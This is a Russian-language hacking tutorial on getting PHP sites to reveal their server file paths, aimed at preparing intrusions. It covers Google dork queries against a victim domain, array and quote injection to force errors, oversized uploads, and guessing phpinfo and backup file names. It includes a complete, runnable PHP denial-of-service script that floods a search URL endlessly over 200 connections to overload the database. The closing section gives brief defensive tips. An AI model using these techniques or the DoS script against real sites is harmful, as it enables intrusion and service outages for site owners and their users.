Любой мало-мальски серьезный взлом требует основательной подготовки, анализа сервера, самого сайта, софта. Пока мы не попали внутрь, мы не знаем иерархии сервера и не можем адекватно ориентироваться в путях. Например, документ index.php может лежать как в /home/target.com/docs/index.php, так и в любом месте с похожим, а порою вовсе не похожим адресом. Чтобы знать точно иерархию, надо встать на колени перед сервером, помолиться и попросить его "раскрыть путь" - что по англицки значится как "path disclosure".
Для чего использовать эту информацию? Ну например: у вас есть уязвимость на локальный include и возможность закачать аттачмент на форум - но вы не знаете, какой адрес (даже относительный) у папки аттачментов форума, а наугад найти не получилось. Приходится искать другими методами - более осмысленными - большая часть из них описана ниже.
Поскольку примерно половина скриптов в мире написано на языке php, я буду говорить про раскрытие пути в PHP-скриптах, кстати, смею заметить, именно в php это сделать легче всего, разработчики не поскупились - почти в любой ошибке указан абсолютный адрес файла :).
Google - первый помощник в делах путевых
Самый простой, и чаще всего самый эффективный способ найти "баги" - использовать Google. Во-первых, он лучше всех индексирует ошибки, во-вторых, у него есть кэш, который нам и понадобится. Если не выключены ошибки (если выключены - найти путь в сотню раз сложнее), то при обработке бажного скрипта на экран выведется что-то вроде
Warning: Cannot modify header information - headers already sent by (output started at /home/local/Web/sites/www.php.net/include/site.inc:155) in /home/local/Web/sites/www.php.net/include/layout.inc on line 80
Вот путь и раскрыт. (Надо заметить, что раскрывается абсолютный путь, что очень полезно). Нам надо найти такие бажные страницы на заданном сервере. Простые примеры запросов для поиска кривых страниц через google:
"headers already sent" site:victim.ru - ошибки при отправке хидеров самые популярные.
"mysql_connect" site:victim.ru - mysql очень любит ругаться, почем зря. Мы тоже любим mysql 😉
"failed to open stream" site:victim.ru - ошибки, связанные с чтением файлов.
Если всё это не помогает, можно попробовать поискать просто "Warning" - и долго копаться в результатах. Самое интересное, что часто баги, которые находит гугл, могут быть уже закрыты (например, ошибка too many connections в mysql - штука редкая, временная, но полезная). В таких случаях надо не забывать про пимпу "Сохранено в кэше", которая есть рядом почти с каждым результатом в гугле. На странице кэша любезно сохранена вся информация об ошибке, вместе с путем.
Если поисковик не выдал интересных результатов, отчаиваться не стоит. Гугл всё равно крут, попробуй найти поддомены для анализируемого сайта - простой запрос inurl:nasa.gov выдаст все проиндексированные поддомены сайта, на которых тоже можно поискать "path disclosure". Для всех поисков можно написать автомат-парсер, и это довольно просто, но придумано для лентяев (или тех, кто ломает по 500 сайтов в день), поэтому описывать его здесь не вижу смысла.
Поиск информации о "path disclosure" для конкретных приложений
Всегда можно пойти путем скрипт кидисов и залезть на багтрек. К примеру, на сервере стоит phpMyAdmin версии 2.6.*, и доступ к панели залогинивания мы уже нашли. Нам опять поможет священный гугль - запрос phpmyadmin 2.6 path disclosure порадует нас обилием подсказок. Самое интересное, что далеко не каждая компания, пишущая софт, спешит залатать такие баги в своих ваяниях. Почти всегда можно найти какой-нибудь глупый скрипт, который так и говорит "ну узнай же у меня путь, возьми меня!".
Ручные методы - работает даже на www.php.net 😉
Начать ручное сканирование можно с осмотра страниц - тыкай себе разные кнопки и ссылки, есть вероятность, что что-нибудь, да отыщешь. Говённый метод, надо сказать, хотя не раз помогал. Мой любимый способ - это передача массивов. Чтобы не вдаваться в детали, могу сразу привести пример на незабвенном php.net.
http://php.net/?lang[]=hacked тут же расскажет нам, где деньги лежат (кстати, покажет много интересных вещей - например, ссылку на http://php.net/include/site.inc).
Так-то, а кто-то ещё говорил, что path disclosure - очень слабая уязвимость! Как видно из ссылки, уязвимость кроется в паре квадратных скобок, а именно при их помощи задаётся массив в php. Их можно загонять в любые переменные, передаваемые на сервер - добавляем в конце квадратные скобки и злобненько хихикаем. Далеко не всегда выходит проделать такое в адресной строке. Но есть же ещё формочки и незабвенный, а также редко проверяемый метод "POST". Достаточно сохранить страницу с формой для залогинивания, подправить немного код (например: <input type="text" name="login[shit]">) и нажать на сабмит. Все эти вещи в большой степени касаются и cookies - чем сложнее снаружи подделать, тем
реже идут проверки. Хотя и проверки бывают очень кстати - если логин проверяется preg_match - то php выдаст ошибку применения массива в регулярном выражении и наш любимый "path disclosure". Защита может служить для нападения.
Ещё один неплохой способ - sql injection. Передавайте кавычки в разные переменные - возможно, вы найдете там sql injection. Вполне вероятно, он будет очень плохонький и не даст вам ничего сделать с самой базой данных... Но вы наверняка увидите что-то на подобие такой ошибки:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /opt/www/data/dealers/howtofindus.html on line 34
Как видно из описания ошибки, она наступает, когда есть проблемы с ответом от сервера. Чтобы вызвать такую ошибку, можно попробовать передавать разные цифровые данные в переменные (например, отрицательные номера анкет, текст вместо цифр и т.п). Редкий, но интересный способ - это закачка на сервер - если вам разрешено закачивать файлы на сервер (ещё лучше - конкретно картинки), то можно попробовать закачать файл на 10-30 мегабайт - тут возможны несколько вариантов ошибок:
- После закачки файл обрабатывается, и скрипту не хватает памяти, чтобы его загрузить (ошибка о нехватки памяти выведет путь).
- Если файл - картинка, после закачки, например, уменьшается до каких-то размеров - то ошибка внутри файла может вызвать ошибку обработчика, с всё тем же "path disclosure".
- Обработка файла будет длиться долго и вызовет ошибку слишком долгого выполнения скрипта.
Да и вообще, если у вас вышло загрузить сервер работой, можно добиться третьей ошибки без особых проблем. Обычно на хостингах время выполнения скрипта ограничено 20-30 секундами.
Поиск наобум.
Если пришлось дойти до этого, значит дела совсем плохи. Отчаиваться не надо - это будем делать, когда пиво кончится.
- Ищем скрипты. Сначала такие вещи, как "phpinfo.php", "info.php","test.php" ,"1.php" и другие подобные названия, в которых может вызываться функция phpinfo(), которая расскажет нам даже больше, чем мы заслуживаем.
- Смотрим, какие скрипты уже есть на сервере и ищем их бекапы: "1index.php","index2.php","_index.php","index_old.php". бекапы часто бывают бажные и выдают массу ошибок. Кроме того, можно поискать разные папки - вдруг там глючные файлы?
- Если на сайте есть гостевая книга (левый форум, голосование и т.п.), но информации про раскрытие пути в сети не нашлось, надо понять, что за скрипты и каких версий стоят, скачать их у производителя и посмотреть изнутри - все ли переменные адекватно фильтруются? 90% таких поисков оканчиваются успехом.
Немного про DOS атаку
Мы не нашли ничего. Нам не помог гугл и багтрек - и вообще, на сайте стоит только какая-то неуязвимая CMS. Как быть? Что делать? Атаковать! Я не зря писал про "хорошие" ошибки mysql. Too many connections - это наше всё. Но как вывести из строя сайт хотя бы на пару минут? Прямой дос-атакой на php скрипт.
Вот план нашей атаки:
- Найти url на сайте, который создает максимальную нагрузку на сервер (точнее на базу данных), чаще всего это url поиска, или вывода пары сотен сообщений на экран.
- Как угодно, но быстро и много раз попросить сервер выполнить этот скрипт.
- Следить - не начнёт ли ресурс выдавать mysql ошибки (иногда бывают и ошибки времени исполнения, тоже хорошо).
Итак, предположим мы нашли урл, который грузится две секунды и выдают нам в браузер мегабайт чего-то там (я не имею в виду файл на мегабайт - это должна быть информация из базы данных!)
http://victim.ru/search.php?find=a - пусть оно выводит все сообщения, в которых есть буква "а"
Нам абсолютно не хочется, чтобы сервер грузил нас метрами мусора - поэтому мы должны ограничиваться только запросами к серверу, не читая ответ. Это делается таким php-скриптом:
<?
адрес сайта без http://
$site='victim.ru/search.php?find=a'; #
$addr=explode('/',$site,2); # делим адрес на адрес сервера и адрес скрипта
$ip=gethostbyname($addr[0]); # узнаём IP сервера
# Составляем запрос документа:
$request= 'GET /' . $addr[1]. ' HTTP/1.0' . "\r\n";
$request .= "Accept: */*\r\n";
$request .= "Host: " . $addr[0] . "\r\n\r\n";
while(true) # пусть атакует вечно ;)
{
for($i=1;$i<=200;$i++) # будем использовать 200 соединений с сервером одновременно! (можно менять, но больше - не всегда лучше)
{
$f[$i]=NULL; # сбрасываем дескриптор
while(!$f[$i]) # пока дескриптор пустой, будем слать запросы на сервер
{
$f[$i]=@fsockopen($ip, 80, $errno, $errstr, 5); # 5 - это таймаут, можно менять.
}
$r=@fwrite($f[$i],$request); # отправляем наш злобный запрос серверу
}
# закрываем все открытые дескрипторы
for($i=1;$i<=200;$i++)@fclose($f[$i]);
}
?>
Скрипт будет атаковать сервер со скоростью открытия соединения, а не скачивания результата. На результат наш скрипт вообще плевал. Чтобы регулировать скорость работы, можно менять количество открываемых соединений (здесь = 200) и количество одновременно запущенных скриптов (скажу, что с adsl линии у меня падали сервера серьезных хостеров, не говоря о дешевом collocation'е). Так что не переусердствуйте - вам надо положить не сервер, а только напрячь базу данных.
Защищаем свои сайты
Как же защитить свой сайт от "path disclosure"? Тут могу дать несколько разных советов:
- Не используйте софт сторонних фирм, пишите сами и сами проверяйте переменные.
- Проверьте вышеприведенными методами свой сайт - всё ли в порядке?
- Всегда можно отключить ошибки в скрипте, поставив в начало директиву error_reporting(0);
Примеры защиты переменных:
$index=(int)$_GET['index']; - защищает переменную сразу и от кавычек с текстом, и от массивов.
if(is_array($_POST['login']))die('гадский хакер!'); - прямая проверка на массив.
Помните, большинство функций в PHP неадекватно работает с целыми массивами - всегда проверяйте, что вы им скармливаете.